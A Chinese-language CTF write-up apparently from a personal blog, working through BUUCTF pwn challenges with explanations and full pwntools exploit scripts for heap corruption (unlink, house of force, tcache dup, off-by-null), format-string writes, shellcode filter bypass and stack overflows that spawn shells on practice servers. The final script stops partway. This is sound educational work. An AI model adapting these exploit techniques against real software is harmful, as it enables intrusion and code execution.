BUUCTF-PWN-第四页writep(32题)

重感冒持续发热五天,拖到现在终于发第四页的题解了

axb_2019_heap

保护全开的菜单堆题
0
但是存在格式化字符串漏洞
0
add
0
0
如果 key = 43,那么大小可以自定义,不然最小只能是 0x80 ,这里开启了 PIE ,没法通过格式化字符串先泄露地址再修改
free
0
edit
0
其中的 get_input 函数存放 off by one
0
按正常操作,要先泄露基址
gdb 调试步进到格式化字符漏洞这
0
可以看到 __libc_start_main+240 和 main <- push rbp ,我们可以根据这个泄露 libcbase 和 程序基址
它们分别是第 15 个和第 19 个参数,可以通过格式化字符串漏洞泄露
其中 mian 函数在 0x116a start,所以偏移为 0x116a
0
注意这里我们是直接读内存的值,不是把内存的值作为地址读,所以要用 %n$p
def leak():
global libcbase, probase, note, free_hook, system
p.sendlineafter(b'Enter your name: ', '%15$p.%19$p')
p.recvuntil(b'0x')
libcbase = int(p.recv(12), 16) - libc.sym['__libc_start_main'] - 240  
p.recvuntil(b'0x')
probase = int(p.recv(12), 16) - 0x116a
print('libcbase -> ', hex(libcbase))
print('probase -> ', hex(probase))
system = libcbase + libc.sym['system']
free_hook = libcbase + libc.sym['__free_hook']
note = probase + 0x0202060
接下来利用 off by one 构造 fake chunk
add(0, 0x98, b'a')
add(1, 0x98, b'a')
add(2, 0x98, b'a')
payload = p64(0) + p64(0x90) + p64(note-0x18) + p64(note-0x10) + p64(0)*14 + p64(0x90) + p8(0xa0)
edit(0, payload)
free(1)
可以看到成功伪造
0
接下来 free(1) ,那么 chunk1 就会和 fake chunk 合并
0
然后通过 unlink 修改了 chunk 0 的指针
0
接下来修改 chunk 0 的指针为 free_hook,并修改为 system
# free_hook -> system
payload = p64(0)*3 + p64(free_hook) + p64(0x98)
edit(0, payload)
edit(0,p64(system))
exp
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 29374)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

def debug():
gdb.attach(p)
pause()
def add(index, size, content):
p.sendlineafter(b'>> ', '1')
p.sendlineafter(b'Enter the index you want to create (0-10):', str(index))
p.sendlineafter(b'Enter a size:\n', str(size))
p.sendlineafter(b'Enter the content: \n', content)
def free(index):
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'Enter an index:\n', str(index))
def edit(index, content):
p.sendlineafter(b'>> ', b'4')
p.sendlineafter(b'Enter an index:\n', str(index))
p.sendlineafter(b'Enter the content:', content)

def leak():
global libcbase, probase, note, free_hook, system
p.sendlineafter(b'Enter your name: ', '%15$p.%19$p')
p.recvuntil(b'0x')
libcbase = int(p.recv(12), 16) - libc.sym['__libc_start_main'] - 240  
p.recvuntil(b'0x')
probase = int(p.recv(12), 16) - 0x116a
print('libcbase -> ', hex(libcbase))
print('probase -> ', hex(probase))
system = libcbase + libc.sym['system']
free_hook = libcbase + libc.sym['__free_hook']
note = probase + 0x0202060

leak()

add(0, 0x98, b'a')
add(1, 0x98, b'a')
add(2, 0x98, b'a')
add(3, 0x90, b'/bin/sh\x00')
# unlink
payload = p64(0) + p64(0x90) + p64(note-0x18) + p64(note-0x10) + p64(0)*14 + p64(0x90) + p8(0xa0)
edit(0, payload)
free(1)
print('note -> ', hex(note))

# free_hook -> system
edit(0, p64(0)*3 + p64(free_hook) + p64(0x98))
edit(0, p64(system))
#debug()

# pwn
free(3)
p.interactive()

oneshot_tjctf_2016

0
先泄露基址,再跳转到 one_gadget
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 25566)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

def debug():
gdb.attach(p)
pause()

p.recv()
p.sendline(str(elf.got['puts']))
p.recvuntil(b'0x')
puts = int(p.recv(16), 16)
libcbase = puts - libc.sym['puts']
one_gadget = libcbase + 0x45216
p.recv()
p.sendline(str(one_gadget))
p.interactive()

护网杯_2018_gettingstart

0
栈溢出覆盖
#0x3FB999999999999A 0x7FFFFFFFFFFFFFFF
p.recv()
payload = b'a'*0x18 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A)
p.sendline(payload)
p.interactive()
十进制小数转十六进制的好工具:http://www.binaryconvert.com/convert_double.html

wustctf2020_number_game

0
nc ,然后输入 -999999999

zctf2016_note2

菜单堆题
0
应该要利用的地方,因为没开 PIE
0
add 堆块大小最大为 0x80
0
show
0
free
0
edit
给出了两个选项,是要 overwirite 还是 append
其中,用作读的函数存在堆溢出,由于 i 是无符号数,当 a2 = 0 时,0 - 1 = -1 = 0xffffffffffffffff ,就能造出堆溢出
所以我们申请大小为 0 的 chunk 就能利用堆溢出修改
利用 unlink 修改 ptr 的数据
由于 edit 的存放写入溢出的函数的 size 被限制了大小,所以我们只能通过 add 0 大小的堆块实现堆溢出
首先构造三个 chunk ,利用 chunk0 构造 fake chunk 的 size 和 fd 和 bk ,chunk1 free 后再申请时利用堆溢出构造 fake chunk 下一个 chunk 的 prve size 和 size ,再 free chunk2,unlink 攻击就完成了
# unlink
ptr = 0x602120
payload = p64(0) + p64(0xa1) + p64(ptr-0x18) + p64(ptr-0x10)
add(0x80, payload) #index0
add(0, b'a') #index1
add(0x80, b'c') #index2
free(1)
add(0, p64(0)*2 + p64(0xa0) + p64(0x90)) #index3
free(2)
可以看到被成功改写
之后就是泄露 libcbase 了,这里选择 atoi
# leak 
edit(0, 1, b'a'*0x18 + p64(elf.got['atoi']))
print(' atoi@got -> ', hex(elf.got['atoi']))
show(0)
atoi = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
system = atoi - libc.sym['atoi'] + libc.sym['system']
然后就是 atoi -> system
# atoi -> system 
edit(0, 1, p64(system))
exp
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 27152)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

def debug():
gdb.attach(p)
pause()
def init(name, addr):
p.sendlineafter(b'Input your name:\n', name)
p.sendlineafter(b'Input your address:\n', addr)
def add(size, content):
p.sendlineafter(b'option--->>\n', '1')
p.sendlineafter(b'content:(less than 128)\n', str(size))
p.sendlineafter(b'Input the note content:\n', content)
def show(index):
p.sendlineafter(b'option--->>\n', '2')
p.sendlineafter(b'Input the id of the note:\n', str(index))
def edit(index, choice, content):
p.sendlineafter(b'option--->>\n', '3')
p.sendlineafter(b'Input the id of the note:\n', str(index))
p.sendlineafter(b'[1.overwrite/2.append]\n', str(choice))
p.sendlineafter(b'TheNewContents:', content)
def free(index):
p.sendlineafter(b'option--->>\n', '4')
p.sendlineafter(b'Input the id of the note:\n', str(index))
def getshell():
p.sendlineafter(b'option--->>\n', '/bin/sh\x00')
p.interactive()

init(b'1', b'2')

# unlink
ptr = 0x602120
payload = p64(0) + p64(0xa1) + p64(ptr-0x18) + p64(ptr-0x10)
add(0x80, payload) #index0
add(0, b'a') #index1
add(0x80, b'c') #index2
free(1)
add(0, p64(0)*2 + p64(0xa0) + p64(0x90)) #index3
free(2)


# leak 
edit(0, 1, b'a'*0x18 + p64(elf.got['atoi']))
print(' atoi@got -> ', hex(elf.got['atoi']))
show(0)
atoi = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
system = atoi - libc.sym['atoi'] + libc.sym['system']

# atoi -> system
edit(0, 1, p64(system))

#pwn
getshell()

starctf_2019_babyshell

0
输入 shellcode 执行
但是对 shellcode 有检查
0
其中 unk_400978 是一段字符串,这个函数就是检测 shellcode 的字符是否都是 unk_400978 存在的
我们可以用 \x00 绕过,这里用到包含 \x00 的指令
00 5a 00 add BYTE PTR [rdx+0x0], bl
exp
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 25091)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

p.recv()
shellcode = b'\x00\x5a\x00' + asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()
还有另外一种做法

gyctf_2020_force

看到这题的名字就想到了 house of force
果然
0
add
0
show,应该是输出一段内存的内容
0
这里由于内容写最大可以写入 0x50 ,如果我们申请一个小点的 chunk ,就可以通过堆溢出 去修改 top chunk 的大小了
由于保护措施全开,先要想办法利用 unsorted bin attack 泄露基址
突然发现这里存在栈溢出漏洞
0
可以修改指向堆块的指针
0
但是没啥用,,emm
看 wp
这里学到到了一个新知识,当申请的 chunk 比 top chunk 还要大的时候,会再 mmap 一段内存,由于 add 会把 chunk 地址打印,所有我们可以据此泄露基址
0
可以看到偏移是 0x200ff0
0
# leak libcabse 
libcbase = add(0x200000, b'a') + 0x200ff0 
print(' libcbase -> ', hex(libcbase)) 
realloc = libcbase + libc.sym['realloc'] 
malloc_hook = libcbase + libc.sym['malloc_hook']
然后是泄露堆块地址
# leak top_chunk_addr and house of force
top_chunk_addr = add(0x10, p64(0)*3 + p64(0xffffffffffffffff)) + 0x10
print(' malloc_hook -> ', hex(malloc_hook))
offset = malloc_hook - top_chunk_addr - 0x30
add(offset, b'a')
onegadget = libcbase + 0x4526a
print(' onegadget -> ', hex(onegadget))
print(' realloc -> ', hex(realloc))
add(0x30, p64(0) + p64(onegadget) + p64(realloc + 0x10))
进行 house of force 将 top 移动到 malloc_hook 上方
0
可以看到成功修改
0
之后就是修改 realloc_hook 和 malloc_hook
exp
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 25091)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

def debug():
gdb.attach(p)
pause()
def add(size, content):
p.sendlineafter(b'2:puts\n', '1')
p.sendlineafter(b'size\n', str(size))
p.recvuntil('addr ')
addr = int(p.recv(14), 16)
print(' addr -> ', hex(addr))
p.sendafter(b'content\n',  content)
return addr
def put():
p.sendlineafter(b'2:puts\n', '2')

# leak libcabse 
libcbase = add(0x200000, b'a') + 0x200ff0
print(' libcbase -> ', hex(libcbase))
realloc = libcbase + libc.sym['realloc']
malloc_hook = libcbase + libc.sym['__malloc_hook']


# leak top_chunk_addr and house of force
top_chunk_addr = add(0x10, p64(0)*3 + p64(0xffffffffffffffff)) + 0x10
print(' malloc_hook -> ', hex(malloc_hook))
offset = malloc_hook - top_chunk_addr - 0x30
add(offset, b'a')
onegadget = libcbase + 0x4526a
print(' onegadget -> ', hex(onegadget))
print(' realloc -> ', hex(realloc))
add(0x30, p64(0) + p64(onegadget) + p64(realloc + 0x10))

# pwn
p.sendlineafter(b'2:puts\n', '1')
p.sendlineafter(b'size\n', str(0x10))
p.interactive()

wustctf2020_name_your_dog

0
和第三页一道题类似,不过是在 bss 段上写而不是栈上,并且也存在后门函数
先想到的就是把 printf -> system
pinrt@got -> Dogs 的偏移是 -84 ,__isoc99_scanf@got -> Dogs 的偏移是 -56 ,所有劫持 __isoc99_scanf
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 28502)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

p.recv()
p.sendline(b'-7')
p.recv()
p.sendline(p32(elf.sym['shell']))
p.interactive()

actf_2019_babyheap

比较简单的一道堆题,UAF
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 25463)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.27-x64.so')

def debug():
gdb.attach(p)
pause()
def add(size, content):
p.sendlineafter(b'Your choice: ', '1')
p.sendlineafter(b'Please input size: \n', str(size))
p.sendafter(b'Please input content: \n', content)
def free(index):
p.sendlineafter(b'Your choice: ', '2')
p.sendlineafter(b'Please input list index: \n', str(index))
def show(index):
p.sendlineafter(b'Your choice: ', '3')
p.sendlineafter(b'Please input list index: \n', str(index))

add(0x20, b'a') # index 0
add(0x20, b'a') # index 1
free(0)
free(1)
add(0x10, p64(0x602010) + p64(elf.sym['system'])) # index 2
show(0)

p.interactive()

ciscn_2019_final_2

一道堆题
0
add 可以选择两种 chunk ,并且读入数据和复制数据,最长读 0x10
0
free 也是,粗略看应该存在 UAF
0
show
0
以及,程序开始的时候会读入 flag,并且把文件操作符 666 也指向 flag
0
并且是一道沙盒逃逸题目
可以看到并不是 orw 题目,但是好像也没什么能用的
这里在退出前会读入一段字符串然后输出,scanf 用的是 stdin = 1,如果我们将其改为 666 ,那么就能将 flag 的内容输出
由于保护全开,第一步肯定是通过 unsorted bin attack 泄露基址,由于存在 tcache bin ,所有我们要先利用 dup 填满 tcache bin
先利用 dup 泄露第一个申请的堆块的后四位
# leak heap_low4
add(1, 1)
free(1)
add(2, 2)
add(2, 2)
add(2, 2)
add(2, 2)
free(2)
add(1, 1)
free(2)
show(2)
p.recvuntil(b'your short type inode number :')
heap_low4 = int(p.recvuntil(b'\n')[:-1], 10) - 0xa0
if heap_low4 < 0:
heap_low4 += 0x10000
print(' heap_low4 -> ', hex(heap_low4))
然后同样利用 dup,覆盖第一个申请的堆块,这样我们就能利用复制数据的特性去修改 size 了
# dup -> change size 
add(2, heap_low4) 
add(2, 0) 
add(2, 0x90)
可以看到成功修改
接下来利用 dup 把 tcache bin 填满,好 free 到 unsorted bin
注意 shor_int 的 chunk 头是 第一个申请堆块的 chunk 头 上面 0x10 处,所以不能 free(2) ,要 free(1)
可以看到已经放入 unsorted bin 了
再用 show 泄露后 fd 的后八位
不知道为什么,如果第八次还是先 fee(1) 后再 add(2,2) ,这时候 fd 的泄露数据会出错,难道是 add(2,2) 的空间来自 unsotred bin ?的确是来自,但是 fd 又不会改变,为什么泄露的数据会有问题?
# dup -> leak libcbase
for i in range(7):
free(1)
add(2, 2)
free(1)
show(1)
p.recvuntil(b'your int type inode number :')
fd_low8 = int(p.recvuntil(b'\n')[:-1], 10)
if fd_low8 < 0:
fd_low8 += 0x100000000
main_arena_low8 = fd_low8 - 96
print(' main_arena_low8 -> ', hex(main_arena_low8))
libcbase_low8 = main_arena_low8 - 0x10 - libc.sym['__malloc_hook']
print(' libcbase_low8 -> ', hex(libcbase_low8))
stdin_filno_low8 = libcbase_low8 + libc.sym['_IO_2_1_stdin_'] + 0x70
print(' stdin_filno_low8 -> ', hex(stdin_filno_low8))
然后,如果我们继续申请 0x20 大小的 chunk,就会从 unsorted bin 切割,并且由于 unsorted bin 下面的空间都被占了,所以会占用 unsorted bin 上面的空间,并且其含有 fd 等数据(不知道为什么会有这种情况)
还存放在 tcache bin 中
所以我们修改其后四位,使其指向 stdin
add(2, stdin_filno_low8 & 0xFFFF)
add(1, 0)
add(1, 666)
exp
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 28611)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.27-x64.so')

def debug():
gdb.attach(p)
pause()
def add(choice, content):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'>', str(choice))
p.sendlineafter(b'your inode number:', str(content))
def free(choice):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'>', str(choice))
def show(choice):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'>', str(choice))
def get_flag():
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'what do you want to say at last? \n', b'a')
print(p.recv())

# leak heap_low4
add(1, 1)
free(1)
add(2, 2)
add(2, 2)
add(2, 2)
add(2, 2)
free(2)
add(1, 1)
free(2)
show(2)
p.recvuntil(b'your short type inode number :')
heap_low4 = int(p.recvuntil(b'\n')[:-1], 10) - 0xa0
if heap_low4 < 0:
heap_low4 += 0x10000
print(' heap_low4 -> ', hex(heap_low4))

# dup -> change size
add(2, heap_low4)
add(2, 0)
free(1)
add(2, 0x91)

# dup -> leak libcbase
for i in range(7):
free(1)
add(2, 2)
free(1)
show(1)
p.recvuntil(b'your int type inode number :')
fd_low8 = int(p.recvuntil(b'\n')[:-1], 10)
if fd_low8 < 0:
fd_low8 += 0x100000000
main_arena_low8 = fd_low8 - 96
print(' main_arena_low8 -> ', hex(main_arena_low8))
libcbase_low8 = main_arena_low8 - 0x10 - libc.sym['__malloc_hook']
print(' libcbase_low8 -> ', hex(libcbase_low8))
stdin_filno_low8 = libcbase_low8 + libc.sym['_IO_2_1_stdin_'] + 0x70
print(' stdin_filno_low8 -> ', hex(stdin_filno_low8))

# stdin 1 -> 666
add(2, stdin_filno_low8 & 0xFFFF)
add(1, 0)
add(1, 666)

# get_flag
get_flag()
超出我的水平了,没有完全弄懂,过几天在做一遍

judgement_mna_2016

0
读字符串去匹配 flag ,存在格式化字符串漏洞,值得注意的是 v3 是申请的栈空间
还要一个 load_flag 函数
0
不知道为啥,明明程序流程没看到一开始会加载 flag,但是程序一运行却自动调用了 load_flag
不管了,由于没开 PIE ,发现该地址上存放加载的 flag
0
无语,偏移我一个一个试到了 20+ ,结果 gdb 调试一看是 43
0
0
结果
0
payload = b'aaa%45$s' + p32(0x804A0A0) p.recv() p.sendline(payload) p.recv()
后来发现 flag 在 第 28 个偏移的位置
0
于是
0

ciscn_2019_en_3

菜单堆题
0
add 一个数组存放大小,一个数组存放指针
0
edit 和 show 都不能用
0
存在 UAF 漏洞
ubuntu 18 环境下的题,存在 tcache ,并且保护措施全开
首先是要先泄露基址
0
看到这个,只能读八个字节,但是通过puts可以泄露出一些东西,调试发现
0
这里是 setbuffer + 231 的地方,那么,libcbase 就能拿到了
# leak libcbase
p.sendlineafter(b'What\'s your name?', 'w1nd')
p.sendlineafter(b'Please input your ID.\n', 'aaaastop')
p.recvuntil(b'stop')
setbuffer_231 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = setbuffer_231 - 231 - libc.sym['setbuffer']
print(' libcbase -> ', hex(libcbase))
然后利用 dup 伪造 fake chunk ,劫持 free hook ,修改为 system
# dup -> free_hook => onegadget
free_hook = libcbase + libc.sym['__free_hook']
system = libcbase + libc.sym['system']
add(0x60, b'a') # index0
add(0x60, b'/bin/sh\x00') # index1
free(0)
free(0)
fake_chunk = free_hook
add(0x60, p64(fake_chunk))
add(0x60, p64(fake_chunk))
add(0x60, p64(system))
print(hex(free_hook), hex(system))
没想到,tcache 可以不需要考虑 chunk 头的 size,也就是不需要找 0x000000000000007f 这种去作 fake chunk 的地址,并且因为 tcache struct 的链表执行的是 chunk 的 user data ,无需偏移直接写就行
exp
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 25178)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.27-x64.so')

def debug():
gdb.attach(p)
pause()
def add(size, content):
p.sendlineafter(b'Input your choice:', '1')
p.sendlineafter(b'Please input the size of story: \n', str(size))
p.sendafter(b'please inpute the story: \n', content)
def free(index):
p.sendlineafter(b'Input your choice:', '4')
p.sendlineafter(b'Please input the index:\n', str(index))

# leak libcbase
p.sendlineafter(b'What\'s your name?', 'w1nd')
p.sendlineafter(b'Please input your ID.\n', 'aaaastop')
p.recvuntil(b'stop')
setbuffer_231 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = setbuffer_231 - 231 - libc.sym['setbuffer']
print(' libcbase -> ', hex(libcbase))

# dup -> free_hook => onegadget
free_hook = libcbase + libc.sym['__free_hook']
system = libcbase + libc.sym['system']
add(0x60, b'a') # index0
add(0x60, b'/bin/sh\x00') # index1
free(0)
free(0)
fake_chunk = free_hook
add(0x60, p64(fake_chunk))
add(0x60, p64(fake_chunk))
add(0x60, p64(system))
print(hex(free_hook), hex(system))

# pwn
free(1)
p.interactive()

picoctf_2018_are you root

一道挺有意思的题,需要提权执行 get-flag 指令
0
show 指令展示登录名和权限等级
0
login指令,先申请一个 0x10 大小的 chunk ,之后的 strdup 也会根据字符串的大小申请 chunk
0
set-auth 指令,可以设置权限
0
get-flag 指令会输出 flag
0
reset 指令会 free strdup 申请的 chunk,而开始的 0x10 的 chunk 并没有 free
p.sendlineafter(b'> ', b'login aaaaaaaa'); 
p.sendlineafter(b'> ', b'set-auth 4');
可以看到 0x10 大小的 chunk 中,一个存放执行登录名的 chunk 的指针,一个存放账号权限等级
0
并且存放登录名的那个 chunk 被释放后会被作为 0x10 大小的 chunk 重新申请,而我们又可以控制 user data,可以提前伪造好账号权限
如图所示
0
exp
p.sendlineafter(b'> ', b'login aaaaaaaa' + p64(0x5)); 
p.sendlineafter(b'> ', b'reset'); 
p.sendlineafter(b'> ', b'login bbbb');
p.sendlineafter(b'> ', b'get-flag'); 
p.recv()

xman_2019_format

格式化字符串漏洞,不过这次是把字符串写在堆块里
0
然后切割字符串输出
0
由于存储在堆块中,并且存在一个后门函数,所以我们要控制 eip 指向后门函数
0
我们可以通过 ebp 那里去写 0xffffd088 地址处的值,将其修改为 0xffffd06c,接下来再去写 0xffffd088 的地址的值,修改的就是 0xfffd06c 地址的值,我们将其修改为后门函数的地址,这样就间接实现了 eip 的控制
修改 0xffffd088 处的值为 0xffffd06c 的 payload 应该是 %108%10$hhn
修改 0xffffd06c 处的值为 0x80485ab(后门函数地址) 的 payload 应该是 %34219c%18$hn
由于可以利用 | 分隔输出,所以完整 payload 应该是
%108%10$hhn%34219c%18$hn
不过由于我们不知道具体的地址,所以第一个 payload 是需要爆破一个字节的,当然我这里选择多用上面这个完整 payload 多打几次
exp
p.recv()
p.sendline(b'%108c%10$hhn|%34219c%18$hn')
p.recv()
p.interactive()

picoctf_2018_buffer overflow 0

题目一开始让我 shh 登录
0
这是开始内核题了吗
原来不是,看了wp发现这道题是可以 ./vuln xxxx 来读字符串的
0
其中 argv 便是用来存储参数的
这里会把读入的 flag 存放 flag 变量中
11 是 无效内存访问信号,这表示,当发生无效内容访问时,会将 flag 写入 stderr ,然后 fflush 刷新缓冲区输出 flag
0
0
其中 vuln 函数有栈溢出
0
所以可以通过栈溢出来输出 flag
0
可以通过栈溢出利用 puts 函数直接输出 flag
payload = b'./vuln ' + b'a'*0x1c + p32(elf.sym['puts']) + b'a'*4 + p32(0x804A080) print(payload)
0

gyctf_2020_signin

菜单堆题
add 一个数组存放 0x70 大小的 chunk 的指针,一个数组存放该 chunk 的状态
0
edit 可以修改 0x50 大小的数据
0
free 中 存放指针的数组并没有清空,存在 UAF
0
backdoor 可以清空并申请一个 chunk ,如果 ptr 不为 0 ,则 getshell
0
明显要伪造 fake chunk 修改 ptr 的值
但是 edit 只能修改一次,如果能修改两次的话,那么就可以修改 free 堆块的 fd ,使其指向 ptr 了,再修改 ptr 的值
但是只能修改一次,所以需要用到 calloc 的特性 - > 不会分配 tcache chunk 中的 chunk , 还有 tcache bin 的特性 ->
在分配 fastbin 中的 chunk 时若还有其他相同大小的 fastbin_chunk 则把它们全部放入 tcache 中。
所以我们可以将 tcache bin 先填满,然后再额外申请释放一个同等大小的 chunk 到 fast bin,利用 UAF 修改 fd,之后再用 calloc 申请一个 chunk ,这时候我们伪造的 fd -> ptr 就进行了 tcache bin ,这个时候由于是头插法,所以 ptr 就被写入了 fd ,也就是存在值了,这时候就能 getshell 了
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 26383)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.27-x64.so')

def debug():
gdb.attach(p)
pause()
def add(index):
p.sendlineafter(b'your choice?', '1')
p.sendlineafter(b'idx?\n', str(index))
def edit(index, content):
p.sendlineafter(b'your choice?', '2')
p.sendlineafter(b'idx?\n', str(index))
p.send(content)
def free(index):
p.sendlineafter(b'your choice?', '3')
p.sendlineafter(b'idx?\n', str(index))
def shell():
p.sendlineafter(b'your choice?', '6')
p.interactive()

for i in range(8):
add(i)
for i in range(8):
free(i)
add(8)
edit(7, p64(0x4040C0 - 0x10))
shell()
注意要先申请一个 chunk ,好让 fake chunk 进入 tcache bin ,fake chunk 是 ptr - 0x10 是因为要把 ptr 作为 user data 的开头用,来存放 fd

bjdctf_2020_YDSneedGrirlfriend

菜单堆题
0
add 先申请一个 0x10 大小的 chunk ,前八个字节存放一个函数,后八个字节存放自定义大小 chunk 的指针
0
show 很正常
0
free 经典 UAF
0
ubuntu 16 的题,还有一个后门函数存在
记得已经做过两道类似的题了,就直接丢 exp 了
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 29225)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

def debug():
gdb.attach(p)
pause()
def add(size, content):
p.sendlineafter(b'Your choice :', '1')
p.sendlineafter(b'Her name size is :', str(size))
p.sendafter(b'Her name is :', content)
def free(index):
p.sendlineafter(b'Your choice :', '2')
p.sendlineafter(b'Index :', str(index))
def show(index):
p.sendlineafter(b'Your choice :', '3')
p.sendlineafter(b'Index :', str(index))

add(0x20, b'123') #index0
add(0x20, b'123') #index1
free(0)
free(1)
add(0x10, p64(elf.sym['backdoor'])) #index2
show(0)
p.interactive()

wdb_2018_3rd_soEasy

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 29512)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

def debug():
gdb.attach(p)
pause()

p.recvuntil(b'gift->')
buf = int(p.recv(10), 16)
print(' buf -> ', hex(buf))
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x4c, b'\x00') + p32(buf)
p.send(payload)
p.interactive()

ciscn_2019_sw_1

0
格式化字符串,但是触发漏洞就没了
根据函数正常的执行流,函数执行前会调用init类初始化函数,执行后会调用fini.array[]数组里地址对应函数。所以如果我们将其改为main函数,那么可以再次输入参数“/bin/sh\x00”拿到shell
0
这里手写 payload 还是要有技巧的,由于要拼凑出输出字符从少到多的 payload,所以修改的值较大的地址可以往后排,并且为了顺利修改,也可以只修改后两个字节
main = 0x8048534
fini_array = 0x804979C
system = 0x80483d0
printf_got = 0x804989c

payload = b'%2052c%13$hn%31692c%14$hn%356c%15$hn' + p32(printf_got + 2) + p32(printf_got) + p32(fini_array)
p.recv()
p.sendline(payload)
p.sendline(b'/bin/sh\x00')
p.interactive()

suctf_2018_stack

ret2text 带 后门函数
0
但是环境是 ubuntu18 ,也恰好读不下 ret 指令
这样要通过偏移 后门函数的地址去对齐
0
只要跳过的指令不要影响 system('/bin/sh') 的执行就行
payload = b'a'*0x28 + p64(0x400677)
p.recv()
p.sendline(payload)
p.interactive()

hitcon_2018_children_tcache

ubuntu 18 的菜单堆题
0
add
0
show
0
free 会用 0xda 填充 chunk
0
其中,这里的 strcpy 会在字符串末尾添加 \x00 ,导致 off by null
0
由于保护措施全开,所以肯定先要泄露基址了
先通过 chunk1 利用 off by null 置 chunk 2 的 size 的最后一字节为零,在利用 chunk1 伪造好 chunk2 的 prev size,然后 free chunk2 ,使其向前合并,造成堆块重叠,这时候再申请 0x410 的 chunk,那么这时候的 unsorted bin 的 头部就会和 原 chunk1 的头部重合,再show,就能泄露 fd 了。同样的,因为 index 同样指向同一个 chunk ,所以可以利用 dup 写 malloc_hook 为 one_gadget
add(0x410, b'a') #index0
add(0x68, b'b') #index1
add(0x4f0, b'c') #index2
add(0x10, b'd') #index3
free(0) 
free(1)
这时候我们要接着伪造 chunk2 的 size 和 prev size
但是由于 chunk1 被 free 时会被 0xda 填充,所以不好控制 prev size
这里有个巧妙的方法,我们可以重复申请释放chunk,每次申请和写的大小从 0x68 递减到 0x60,那么就能达到置 size 最后一字节为零 和 清空 prev size 的目的
for i in range(9):
add(0x68 - i, b'a'*(0x68 - i)) #index 0
free(0)
然后是修改 prev size 为 0x490 ( 0x490 = 0x420 + 0x70 )
再将 chunk2 free ,就能向前合并造成堆块重叠了
add(0x68, b'a'*0x60 + p64(0x490)) #index 0
free(2)
然后是申请 0x410 大小的 chunk,将 unsorted bin 的 头部与原 chunk1 的头部重合,泄露基址
add(0x410, b'a') #index 1
show(0)
main_arena_96 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = main_arena_96 - 96 - 0x10 - libc.sym['__malloc_hook']
print(' libcbase -> ', hex(libcbase))
malloc_hook = libcbase + libc.sym['__malloc_hook']
one_gadget = libcbase + 0x4f322
这个时候我们再申请一个 0x68 的 chunk,那么 index 0 和 index2 都会指向原本的 chunk1 ,就能 dup 任意地址写了
# malloc_hook -> one_gadget
add(0x68, b'a') #index 2
free(0)
free(2)
add(0x68, p64(malloc_hook))
add(0x68, b'a')
add(0x68, p64(one_gadget))
完整exp
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 25300)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.27-x64.so')

def debug():
gdb.attach(p)
pause()
def add(size, content):
p.sendlineafter(b'Your choice: ', b'1')
p.sendlineafter(b'Size:', str(size))
p.sendafter(b'Data:', content)
def show(index):
p.sendlineafter(b'Your choice: ', b'2')
p.sendlineafter(b'Index:', str(index))
def free(index):
p.sendlineafter(b'Your choice: ', b'3')
p.sendlineafter(b'Index:', str(index))

# leak libcbase
add(0x410, b'a') #index0
add(0x68, b'b') #index1
add(0x4f0, b'c') #index2
add(0x10, b'd') #index3
free(0) 
free(1)
for i in range(9):
add(0x68 - i, b'a'*(0x68 - i)) #index 0
free(0)
add(0x68, b'a'*0x60 + p64(0x490)) #index 0
free(2)
add(0x410, b'a') #index 1
show(0)
